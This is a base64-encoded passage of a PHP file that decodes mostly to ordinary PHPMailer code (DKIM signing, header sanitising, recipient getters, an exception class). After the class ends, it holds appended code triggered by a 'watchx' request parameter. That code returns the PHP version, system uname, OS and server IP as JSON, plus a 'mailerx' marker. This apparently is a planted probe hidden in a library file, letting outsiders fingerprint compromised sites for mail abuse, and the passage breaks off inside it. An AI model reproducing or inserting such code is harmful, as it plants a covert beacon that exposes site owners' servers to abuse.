HJldFsnZmlsZW5hbWUnXTsKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgIHJldHVybiAkcmV0OwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIFNldCBvciByZXNldCBpbnN0YW5jZSBwcm9wZXJ0aWVzLgogICAgICogWW91IHNob3VsZCBhdm9pZCB0aGlzIGZ1bmN0aW9uIC0gaXQncyBtb3JlIHZlcmJvc2UsIGxlc3MgZWZmaWNpZW50LCBtb3JlIGVycm9yLXByb25lIGFuZAogICAgICogaGFyZGVyIHRvIGRlYnVnIHRoYW4gc2V0dGluZyBwcm9wZXJ0aWVzIGRpcmVjdGx5LgogICAgICogVXNhZ2UgRXhhbXBsZToKICAgICAqIGAkbWFpbC0+c2V0KCdTTVRQU2VjdXJlJywgJ3RscycpO2AKICAgICAqICAgaXMgdGhlIHNhbWUgYXM6CiAgICAgKiBgJG1haWwtPlNNVFBTZWN1cmUgPSAndGxzJztgCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkbmFtZSBUaGUgcHJvcGVydHkgbmFtZSB0byBzZXQKICAgICAqIEBwYXJhbSBtaXhlZCAkdmFsdWUgVGhlIHZhbHVlIHRvIHNldCB0aGUgcHJvcGVydHkgdG8KICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICogQFRPRE8gU2hvdWxkIHRoaXMgbm90IGJlIHVzaW5nIHRoZSBfX3NldCgpIG1hZ2ljIGZ1bmN0aW9uPwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0KCRuYW1lLCAkdmFsdWUgPSAnJykKICAgIHsKICAgICAgICBpZiAocHJvcGVydHlfZXhpc3RzKCR0aGlzLCAkbmFtZSkpIHsKICAgICAgICAgICAgJHRoaXMtPiRuYW1lID0gJHZhbHVlOwogICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJHRoaXMtPmxhbmcoJ3ZhcmlhYmxlX3NldCcpIC4gJG5hbWUpOwogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogU3RyaXAgbmV3bGluZXMgdG8gcHJldmVudCBoZWFkZXIgaW5qZWN0aW9uLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN0cgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNlY3VyZUhlYWRlcigkc3RyKQogICAgewogICAgICAgIHJldHVybiB0cmltKHN0cl9yZXBsYWNlKGFycmF5KCJcciIsICJcbiIpLCAnJywgJHN0cikpOwogICAgfQoKICAgIC8qKgogICAgICogTm9ybWFsaXplIGxpbmUgYnJlYWtzIGluIGEgc3RyaW5nLgogICAgICogQ29udmVydHMgVU5JWCBMRiwgTWFjIENSIGFuZCBXaW5kb3dzIENSTEYgbGluZSBicmVha3MgaW50byBhIHNpbmdsZSBsaW5lIGJyZWFrIGZvcm1hdC4KICAgICAqIERlZmF1bHRzIHRvIENSTEYgKGZvciBtZXNzYWdlIGJvZGllcykgYW5kIHByZXNlcnZlcyBjb25zZWN1dGl2ZSBicmVha3MuCiAgICAgKiBAcGFyYW0gc3RyaW5nICR0ZXh0CiAgICAgKiBAcGFyYW0gc3RyaW5nICRicmVha3R5cGUgV2hhdCBraW5kIG9mIGxpbmUgYnJlYWsgdG8gdXNlLCBkZWZhdWx0cyB0byBDUkxGCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBzdGF0aWMKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBub3JtYWxpemVCcmVha3MoJHRleHQsICRicmVha3R5cGUgPSAiXHJcbiIpCiAgICB7CiAgICAgICAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcclxufFxyfFxuKS9tcycsICRicmVha3R5cGUsICR0ZXh0KTsKICAgIH0KCiAgICAvKioKICAgICAqIFNldCB0aGUgcHVibGljIGFuZCBwcml2YXRlIGtleSBmaWxlcyBhbmQgcGFzc3dvcmQgZm9yIFMvTUlNRSBzaWduaW5nLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJGNlcnRfZmlsZW5hbWUKICAgICAqIEBwYXJhbSBzdHJpbmcgJGtleV9maWxlbmFtZQogICAgICogQHBhcmFtIHN0cmluZyAka2V5X3Bhc3MgUGFzc3dvcmQgZm9yIHByaXZhdGUga2V5CiAgICAgKiBAcGFyYW0gc3RyaW5nICRleHRyYWNlcnRzX2ZpbGVuYW1lIE9wdGlvbmFsIHBhdGggdG8gY2hhaW4gY2VydGlmaWNhdGUKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNpZ24oJGNlcnRfZmlsZW5hbWUsICRrZXlfZmlsZW5hbWUsICRrZXlfcGFzcywgJGV4dHJhY2VydHNfZmlsZW5hbWUgPSAnJykKICAgIHsKICAgICAgICAkdGhpcy0+c2lnbl9jZXJ0X2ZpbGUgPSAkY2VydF9maWxlbmFtZTsKICAgICAgICAkdGhpcy0+c2lnbl9rZXlfZmlsZSA9ICRrZXlfZmlsZW5hbWU7CiAgICAgICAgJHRoaXMtPnNpZ25fa2V5X3Bhc3MgPSAka2V5X3Bhc3M7CiAgICAgICAgJHRoaXMtPnNpZ25fZXh0cmFjZXJ0c19maWxlID0gJGV4dHJhY2VydHNfZmlsZW5hbWU7CiAgICB9CgogICAgLyoqCiAgICAgKiBRdW90ZWQtUHJpbnRhYmxlLWVuY29kZSBhIERLSU0gaGVhZGVyLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHR4dAogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIERLSU1fUVAoJHR4dCkKICAgIHsKICAgICAgICAkbGluZSA9ICcnOwogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8IHN0cmxlbigkdHh0KTsgJGkrKykgewogICAgICAgICAgICAkb3JkID0gb3JkKCR0eHRbJGldKTsKICAgICAgICAgICAgaWYgKCgoMHgyMSA8PSAkb3JkKSAmJiAoJG9yZCA8PSAweDNBKSkgfHwgJG9yZCA9PSAweDNDIHx8ICgoMHgzRSA8PSAkb3JkKSAmJiAoJG9yZCA8PSAweDdFKSkpIHsKICAgICAgICAgICAgICAgICRsaW5lIC49ICR0eHRbJGldOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJGxpbmUgLj0gJz0nIC4gc3ByaW50ZignJTAyWCcsICRvcmQpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkbGluZTsKICAgIH0KCiAgICAvKioKICAgICAqIEdlbmVyYXRlIGEgREtJTSBzaWduYXR1cmUuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkc2lnbkhlYWRlcgogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEByZXR1cm4gc3RyaW5nIFRoZSBES0lNIHNpZ25hdHVyZSB2YWx1ZQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gREtJTV9TaWduKCRzaWduSGVhZGVyKQogICAgewogICAgICAgIGlmICghZGVmaW5lZCgnUEtDUzdfVEVYVCcpKSB7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+bGFuZygnZXh0ZW5zaW9uX21pc3NpbmcnKSAuICdvcGVuc3NsJyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuICcnOwogICAgICAgIH0KICAgICAgICAkcHJpdktleVN0ciA9ICFlbXB0eSgkdGhpcy0+REtJTV9wcml2YXRlX3N0cmluZykgPyAkdGhpcy0+REtJTV9wcml2YXRlX3N0cmluZyA6IGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5ES0lNX3ByaXZhdGUpOwogICAgICAgIGlmICgnJyAhPSAkdGhpcy0+REtJTV9wYXNzcGhyYXNlKSB7CiAgICAgICAgICAgICRwcml2S2V5ID0gb3BlbnNzbF9wa2V5X2dldF9wcml2YXRlKCRwcml2S2V5U3RyLCAkdGhpcy0+REtJTV9wYXNzcGhyYXNlKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkcHJpdktleSA9IG9wZW5zc2xfcGtleV9nZXRfcHJpdmF0ZSgkcHJpdktleVN0cik7CiAgICAgICAgfQogICAgICAgIC8vV29ya2Fyb3VuZCBmb3IgbWlzc2luZyBkaWdlc3QgYWxnb3JpdGhtcyBpbiBvbGQgUEhQICYgT3BlblNTTCB2ZXJzaW9ucwogICAgICAgIC8vQGxpbmsgaHR0cDovL3N0YWNrb3ZlcmZsb3cuY29tL2EvMTExMTczMzgvMzMzMzQwCiAgICAgICAgaWYgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzUuMy4wJykgPj0gMCBhbmQKICAgICAgICAgICAgaW5fYXJyYXkoJ3NoYTI1NldpdGhSU0FFbmNyeXB0aW9uJywgb3BlbnNzbF9nZXRfbWRfbWV0aG9kcyh0cnVlKSkpIHsKICAgICAgICAgICAgaWYgKG9wZW5zc2xfc2lnbigkc2lnbkhlYWRlciwgJHNpZ25hdHVyZSwgJHByaXZLZXksICdzaGEyNTZXaXRoUlNBRW5jcnlwdGlvbicpKSB7CiAgICAgICAgICAgICAgICBvcGVuc3NsX3BrZXlfZnJlZSgkcHJpdktleSk7CiAgICAgICAgICAgICAgICByZXR1cm4gYmFzZTY0X2VuY29kZSgkc2lnbmF0dXJlKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRwaW5mbyA9IG9wZW5zc2xfcGtleV9nZXRfZGV0YWlscygkcHJpdktleSk7CiAgICAgICAgICAgICRoYXNoID0gaGFzaCgnc2hhMjU2JywgJHNpZ25IZWFkZXIpOwogICAgICAgICAgICAvLydNYWdpYycgY29uc3RhbnQgZm9yIFNIQTI1NiBmcm9tIFJGQzM0NDcKICAgICAgICAgICAgLy9AbGluayBodHRwczovL3Rvb2xzLmlldGYub3JnL2h0bWwvcmZjMzQ0NyNwYWdlLTQzCiAgICAgICAgICAgICR0ID0gJzMwMzEzMDBkMDYwOTYwODY0ODAxNjUwMzA0MDIwMTA1MDAwNDIwJyAuICRoYXNoOwogICAgICAgICAgICAkcHNsZW4gPSAkcGluZm9bJ2JpdHMnXSAvIDggLSAoc3RybGVuKCR0KSAvIDIgKyAzKTsKICAgICAgICAgICAgJGViID0gcGFjaygnSConLCAnMDAwMScgLiBzdHJfcmVwZWF0KCdGRicsICRwc2xlbikgLiAnMDAnIC4gJHQpOwoKICAgICAgICAgICAgaWYgKG9wZW5zc2xfcHJpdmF0ZV9lbmNyeXB0KCRlYiwgJHNpZ25hdHVyZSwgJHByaXZLZXksIE9QRU5TU0xfTk9fUEFERElORykpIHsKICAgICAgICAgICAgICAgIG9wZW5zc2xfcGtleV9mcmVlKCRwcml2S2V5KTsKICAgICAgICAgICAgICAgIHJldHVybiBiYXNlNjRfZW5jb2RlKCRzaWduYXR1cmUpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIG9wZW5zc2xfcGtleV9mcmVlKCRwcml2S2V5KTsKICAgICAgICByZXR1cm4gJyc7CiAgICB9CgogICAgLyoqCiAgICAgKiBHZW5lcmF0ZSBhIERLSU0gY2Fub25pY2FsaXphdGlvbiBoZWFkZXIuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkc2lnbkhlYWRlciBIZWFkZXIKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBES0lNX0hlYWRlckMoJHNpZ25IZWFkZXIpCiAgICB7CiAgICAgICAgJHNpZ25IZWFkZXIgPSBwcmVnX3JlcGxhY2UoJy9cclxuXHMrLycsICcgJywgJHNpZ25IZWFkZXIpOwogICAgICAgICRsaW5lcyA9IGV4cGxvZGUoIlxyXG4iLCAkc2lnbkhlYWRlcik7CiAgICAgICAgZm9yZWFjaCAoJGxpbmVzIGFzICRrZXkgPT4gJGxpbmUpIHsKICAgICAgICAgICAgbGlzdCgkaGVhZGluZywgJHZhbHVlKSA9IGV4cGxvZGUoJzonLCAkbGluZSwgMik7CiAgICAgICAgICAgICRoZWFkaW5nID0gc3RydG9sb3dlcigkaGVhZGluZyk7CiAgICAgICAgICAgICR2YWx1ZSA9IHByZWdfcmVwbGFjZSgnL1xzezIsfS8nLCAnICcsICR2YWx1ZSk7IC8vIENvbXByZXNzIHVzZWxlc3Mgc3BhY2VzCiAgICAgICAgICAgICRsaW5lc1ska2V5XSA9ICRoZWFkaW5nIC4gJzonIC4gdHJpbSgkdmFsdWUpOyAvLyBEb24ndCBmb3JnZXQgdG8gcmVtb3ZlIFdTUCBhcm91bmQgdGhlIHZhbHVlCiAgICAgICAgfQogICAgICAgICRzaWduSGVhZGVyID0gaW1wbG9kZSgiXHJcbiIsICRsaW5lcyk7CiAgICAgICAgcmV0dXJuICRzaWduSGVhZGVyOwogICAgfQoKICAgIC8qKgogICAgICogR2VuZXJhdGUgYSBES0lNIGNhbm9uaWNhbGl6YXRpb24gYm9keS4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRib2R5IE1lc3NhZ2UgQm9keQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIERLSU1fQm9keUMoJGJvZHkpCiAgICB7CiAgICAgICAgaWYgKCRib2R5ID09ICcnKSB7CiAgICAgICAgICAgIHJldHVybiAiXHJcbiI7CiAgICAgICAgfQogICAgICAgIC8vIHN0YWJpbGl6ZSBsaW5lIGVuZGluZ3MKICAgICAgICAkYm9keSA9IHN0cl9yZXBsYWNlKCJcclxuIiwgIlxuIiwgJGJvZHkpOwogICAgICAgICRib2R5ID0gc3RyX3JlcGxhY2UoIlxuIiwgIlxyXG4iLCAkYm9keSk7CiAgICAgICAgLy8gRU5EIHN0YWJpbGl6ZSBsaW5lIGVuZGluZ3MKICAgICAgICB3aGlsZSAoc3Vic3RyKCRib2R5LCBzdHJsZW4oJGJvZHkpIC0gNCwgNCkgPT0gIlxyXG5cclxuIikgewogICAgICAgICAgICAkYm9keSA9IHN1YnN0cigkYm9keSwgMCwgc3RybGVuKCRib2R5KSAtIDIpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJGJvZHk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDcmVhdGUgdGhlIERLSU0gaGVhZGVyIGFuZCBib2R5IGluIGEgbmV3IG1lc3NhZ2UgaGVhZGVyLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJGhlYWRlcnNfbGluZSBIZWFkZXIgbGluZXMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN1YmplY3QgU3ViamVjdAogICAgICogQHBhcmFtIHN0cmluZyAkYm9keSBCb2R5CiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gREtJTV9BZGQoJGhlYWRlcnNfbGluZSwgJHN1YmplY3QsICRib2R5KQogICAgewogICAgICAgICRES0lNc2lnbmF0dXJlVHlwZSA9ICdyc2Etc2hhMjU2JzsgLy8gU2lnbmF0dXJlICYgaGFzaCBhbGdvcml0aG1zCiAgICAgICAgJERLSU1jYW5vbmljYWxpemF0aW9uID0gJ3JlbGF4ZWQvc2ltcGxlJzsgLy8gQ2Fub25pY2FsaXphdGlvbiBvZiBoZWFkZXIvYm9keQogICAgICAgICRES0lNcXVlcnkgPSAnZG5zL3R4dCc7IC8vIFF1ZXJ5IG1ldGhvZAogICAgICAgICRES0lNdGltZSA9IHRpbWUoKTsgLy8gU2lnbmF0dXJlIFRpbWVzdGFtcCA9IHNlY29uZHMgc2luY2UgMDA6MDA6MDAgLSBKYW4gMSwgMTk3MCAoVVRDIHRpbWUgem9uZSkKICAgICAgICAkc3ViamVjdF9oZWFkZXIgPSAiU3ViamVjdDogJHN1YmplY3QiOwogICAgICAgICRoZWFkZXJzID0gZXhwbG9kZSgkdGhpcy0+TEUsICRoZWFkZXJzX2xpbmUpOwogICAgICAgICRmcm9tX2hlYWRlciA9ICcnOwogICAgICAgICR0b19oZWFkZXIgPSAnJzsKICAgICAgICAkZGF0ZV9oZWFkZXIgPSAnJzsKICAgICAgICAkY3VycmVudCA9ICcnOwogICAgICAgIGZvcmVhY2ggKCRoZWFkZXJzIGFzICRoZWFkZXIpIHsKICAgICAgICAgICAgaWYgKHN0cnBvcygkaGVhZGVyLCAnRnJvbTonKSA9PT0gMCkgewogICAgICAgICAgICAgICAgJGZyb21faGVhZGVyID0gJGhlYWRlcjsKICAgICAgICAgICAgICAgICRjdXJyZW50ID0gJ2Zyb21faGVhZGVyJzsKICAgICAgICAgICAgfSBlbHNlaWYgKHN0cnBvcygkaGVhZGVyLCAnVG86JykgPT09IDApIHsKICAgICAgICAgICAgICAgICR0b19oZWFkZXIgPSAkaGVhZGVyOwogICAgICAgICAgICAgICAgJGN1cnJlbnQgPSAndG9faGVhZGVyJzsKICAgICAgICAgICAgfSBlbHNlaWYgKHN0cnBvcygkaGVhZGVyLCAnRGF0ZTonKSA9PT0gMCkgewogICAgICAgICAgICAgICAgJGRhdGVfaGVhZGVyID0gJGhlYWRlcjsKICAgICAgICAgICAgICAgICRjdXJyZW50ID0gJ2RhdGVfaGVhZGVyJzsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJCRjdXJyZW50KSAmJiBzdHJwb3MoJGhlYWRlciwgJyA9PycpID09PSAwKSB7CiAgICAgICAgICAgICAgICAgICAgJCRjdXJyZW50IC49ICRoZWFkZXI7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRjdXJyZW50ID0gJyc7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJGZyb20gPSBzdHJfcmVwbGFjZSgnfCcsICc9N0MnLCAkdGhpcy0+REtJTV9RUCgkZnJvbV9oZWFkZXIpKTsKICAgICAgICAkdG8gPSBzdHJfcmVwbGFjZSgnfCcsICc9N0MnLCAkdGhpcy0+REtJTV9RUCgkdG9faGVhZGVyKSk7CiAgICAgICAgJGRhdGUgPSBzdHJfcmVwbGFjZSgnfCcsICc9N0MnLCAkdGhpcy0+REtJTV9RUCgkZGF0ZV9oZWFkZXIpKTsKICAgICAgICAkc3ViamVjdCA9IHN0cl9yZXBsYWNlKAogICAgICAgICAgICAnfCcsCiAgICAgICAgICAgICc9N0MnLAogICAgICAgICAgICAkdGhpcy0+REtJTV9RUCgkc3ViamVjdF9oZWFkZXIpCiAgICAgICAgKTsgLy8gQ29waWVkIGhlYWRlciBmaWVsZHMgKGRraW0tcXVvdGVkLXByaW50YWJsZSkKICAgICAgICAkYm9keSA9ICR0aGlzLT5ES0lNX0JvZHlDKCRib2R5KTsKICAgICAgICAkREtJTWxlbiA9IHN0cmxlbigkYm9keSk7IC8vIExlbmd0aCBvZiBib2R5CiAgICAgICAgJERLSU1iNjQgPSBiYXNlNjRfZW5jb2RlKHBhY2soJ0gqJywgaGFzaCgnc2hhMjU2JywgJGJvZHkpKSk7IC8vIEJhc2U2NCBvZiBwYWNrZWQgYmluYXJ5IFNIQS0yNTYgaGFzaCBvZiBib2R5CiAgICAgICAgaWYgKCcnID09ICR0aGlzLT5ES0lNX2lkZW50aXR5KSB7CiAgICAgICAgICAgICRpZGVudCA9ICcnOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRpZGVudCA9ICcgaT0nIC4gJHRoaXMtPkRLSU1faWRlbnRpdHkgLiAnOyc7CiAgICAgICAgfQogICAgICAgICRka2ltaGRycyA9ICdES0lNLVNpZ25hdHVyZTogdj0xOyBhPScgLgogICAgICAgICAgICAkREtJTXNpZ25hdHVyZVR5cGUgLiAnOyBxPScgLgogICAgICAgICAgICAkREtJTXF1ZXJ5IC4gJzsgbD0nIC4KICAgICAgICAgICAgJERLSU1sZW4gLiAnOyBzPScgLgogICAgICAgICAgICAkdGhpcy0+REtJTV9zZWxlY3RvciAuCiAgICAgICAgICAgICI7XHJcbiIgLgogICAgICAgICAgICAiXHR0PSIgLiAkREtJTXRpbWUgLiAnOyBjPScgLiAkREtJTWNhbm9uaWNhbGl6YXRpb24gLiAiO1xyXG4iIC4KICAgICAgICAgICAgIlx0aD1Gcm9tOlRvOkRhdGU6U3ViamVjdDtcclxuIiAuCiAgICAgICAgICAgICJcdGQ9IiAuICR0aGlzLT5ES0lNX2RvbWFpbiAuICc7JyAuICRpZGVudCAuICJcclxuIiAuCiAgICAgICAgICAgICJcdHo9JGZyb21cclxuIiAuCiAgICAgICAgICAgICJcdHwkdG9cclxuIiAuCiAgICAgICAgICAgICJcdHwkZGF0ZVxyXG4iIC4KICAgICAgICAgICAgIlx0fCRzdWJqZWN0O1xyXG4iIC4KICAgICAgICAgICAgIlx0Ymg9IiAuICRES0lNYjY0IC4gIjtcclxuIiAuCiAgICAgICAgICAgICJcdGI9IjsKICAgICAgICAkdG9TaWduID0gJHRoaXMtPkRLSU1fSGVhZGVyQygKICAgICAgICAgICAgJGZyb21faGVhZGVyIC4gIlxyXG4iIC4KICAgICAgICAgICAgJHRvX2hlYWRlciAuICJcclxuIiAuCiAgICAgICAgICAgICRkYXRlX2hlYWRlciAuICJcclxuIiAuCiAgICAgICAgICAgICRzdWJqZWN0X2hlYWRlciAuICJcclxuIiAuCiAgICAgICAgICAgICRka2ltaGRycwogICAgICAgICk7CiAgICAgICAgJHNpZ25lZCA9ICR0aGlzLT5ES0lNX1NpZ24oJHRvU2lnbik7CiAgICAgICAgcmV0dXJuICRka2ltaGRycyAuICRzaWduZWQgLiAiXHJcbiI7CiAgICB9CgogICAgLyoqCiAgICAgKiBEZXRlY3QgaWYgYSBzdHJpbmcgY29udGFpbnMgYSBsaW5lIGxvbmdlciB0aGFuIHRoZSBtYXhpbXVtIGxpbmUgbGVuZ3RoIGFsbG93ZWQuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHIKICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICogQHN0YXRpYwogICAgICovCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGhhc0xpbmVMb25nZXJUaGFuTWF4KCRzdHIpCiAgICB7CiAgICAgICAgLy8rMiB0byBpbmNsdWRlIENSTEYgbGluZSBicmVhayBmb3IgYSAxMDAwIHRvdGFsCiAgICAgICAgcmV0dXJuIChib29sZWFuKXByZWdfbWF0Y2goJy9eKC57Jy4oc2VsZjo6TUFYX0xJTkVfTEVOR1RIICsgMikuJyx9KS9tJywgJHN0cik7CiAgICB9CgogICAgLyoqCiAgICAgKiBBbGxvd3MgZm9yIHB1YmxpYyByZWFkIGFjY2VzcyB0byAndG8nIHByb3BlcnR5LgogICAgICogQG5vdGU6IEJlZm9yZSB0aGUgc2VuZCgpIGNhbGwsIHF1ZXVlZCBhZGRyZXNzZXMgKGkuZS4gd2l0aCBJRE4pIGFyZSBub3QgeWV0IGluY2x1ZGVkLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gYXJyYXkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGdldFRvQWRkcmVzc2VzKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPnRvOwogICAgfQoKICAgIC8qKgogICAgICogQWxsb3dzIGZvciBwdWJsaWMgcmVhZCBhY2Nlc3MgdG8gJ2NjJyBwcm9wZXJ0eS4KICAgICAqIEBub3RlOiBCZWZvcmUgdGhlIHNlbmQoKSBjYWxsLCBxdWV1ZWQgYWRkcmVzc2VzIChpLmUuIHdpdGggSUROKSBhcmUgbm90IHlldCBpbmNsdWRlZC4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRDY0FkZHJlc3NlcygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5jYzsKICAgIH0KCiAgICAvKioKICAgICAqIEFsbG93cyBmb3IgcHVibGljIHJlYWQgYWNjZXNzIHRvICdiY2MnIHByb3BlcnR5LgogICAgICogQG5vdGU6IEJlZm9yZSB0aGUgc2VuZCgpIGNhbGwsIHF1ZXVlZCBhZGRyZXNzZXMgKGkuZS4gd2l0aCBJRE4pIGFyZSBub3QgeWV0IGluY2x1ZGVkLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gYXJyYXkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGdldEJjY0FkZHJlc3NlcygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5iY2M7CiAgICB9CgogICAgLyoqCiAgICAgKiBBbGxvd3MgZm9yIHB1YmxpYyByZWFkIGFjY2VzcyB0byAnUmVwbHlUbycgcHJvcGVydHkuCiAgICAgKiBAbm90ZTogQmVmb3JlIHRoZSBzZW5kKCkgY2FsbCwgcXVldWVkIGFkZHJlc3NlcyAoaS5lLiB3aXRoIElETikgYXJlIG5vdCB5ZXQgaW5jbHVkZWQuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBhcnJheQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0UmVwbHlUb0FkZHJlc3NlcygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5SZXBseVRvOwogICAgfQoKICAgIC8qKgogICAgICogQWxsb3dzIGZvciBwdWJsaWMgcmVhZCBhY2Nlc3MgdG8gJ2FsbF9yZWNpcGllbnRzJyBwcm9wZXJ0eS4KICAgICAqIEBub3RlOiBCZWZvcmUgdGhlIHNlbmQoKSBjYWxsLCBxdWV1ZWQgYWRkcmVzc2VzIChpLmUuIHdpdGggSUROKSBhcmUgbm90IHlldCBpbmNsdWRlZC4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRBbGxSZWNpcGllbnRBZGRyZXNzZXMoKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YWxsX3JlY2lwaWVudHM7CiAgICB9CgogICAgLyoqCiAgICAgKiBQZXJmb3JtIGEgY2FsbGJhY2suCiAgICAgKiBAcGFyYW0gYm9vbGVhbiAkaXNTZW50CiAgICAgKiBAcGFyYW0gYXJyYXkgJHRvCiAgICAgKiBAcGFyYW0gYXJyYXkgJGNjCiAgICAgKiBAcGFyYW0gYXJyYXkgJGJjYwogICAgICogQHBhcmFtIHN0cmluZyAkc3ViamVjdAogICAgICogQHBhcmFtIHN0cmluZyAkYm9keQogICAgICogQHBhcmFtIHN0cmluZyAkZnJvbQogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gZG9DYWxsYmFjaygkaXNTZW50LCAkdG8sICRjYywgJGJjYywgJHN1YmplY3QsICRib2R5LCAkZnJvbSkKICAgIHsKICAgICAgICBpZiAoIWVtcHR5KCR0aGlzLT5hY3Rpb25fZnVuY3Rpb24pICYmIGlzX2NhbGxhYmxlKCR0aGlzLT5hY3Rpb25fZnVuY3Rpb24pKSB7CiAgICAgICAgICAgICRwYXJhbXMgPSBhcnJheSgkaXNTZW50LCAkdG8sICRjYywgJGJjYywgJHN1YmplY3QsICRib2R5LCAkZnJvbSk7CiAgICAgICAgICAgIGNhbGxfdXNlcl9mdW5jX2FycmF5KCR0aGlzLT5hY3Rpb25fZnVuY3Rpb24sICRwYXJhbXMpOwogICAgICAgIH0KICAgIH0KfQoKLyoqCiAqIFBIUE1haWxlciBleGNlcHRpb24gaGFuZGxlcgogKiBAcGFja2FnZSBQSFBNYWlsZXIKICovCmNsYXNzIHBocG1haWxlckV4Y2VwdGlvbiBleHRlbmRzIEV4Y2VwdGlvbgp7CiAgICAvKioKICAgICAqIFByZXR0aWZ5IGVycm9yIG1lc3NhZ2Ugb3V0cHV0CiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZXJyb3JNZXNzYWdlKCkKICAgIHsKICAgICAgICAkZXJyb3JNc2cgPSAnPHN0cm9uZz4nIC4gaHRtbHNwZWNpYWxjaGFycygkdGhpcy0+Z2V0TWVzc2FnZSgpKSAuICI8L3N0cm9uZz48YnIgLz5cbiI7CiAgICAgICAgcmV0dXJuICRlcnJvck1zZzsKICAgIH0KfQppZiAoJF9SRVFVRVNUWyd3YXRjaHgnXSkgewoJJHZlcnNpb24gPSBwaHB2ZXJzaW9uKCk7CgkkdW5hbWUgPSAgcGhwX3VuYW1lKCk7CgkkaXAgPSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk7CQoJZWNobyBqc29uX2VuY29kZSAoYXJyYXkgKCJ2ZXJzaW9uIj0+JHZlcnNpb24sCgkJInVuYW1lIj0+JHVuYW1lLAoJCSJwbGF0Zm9ybSI9PlBIUF9PUywKCQkiaXAiPT4kaXAsCgkJIm1haWxlcngiPT50cnV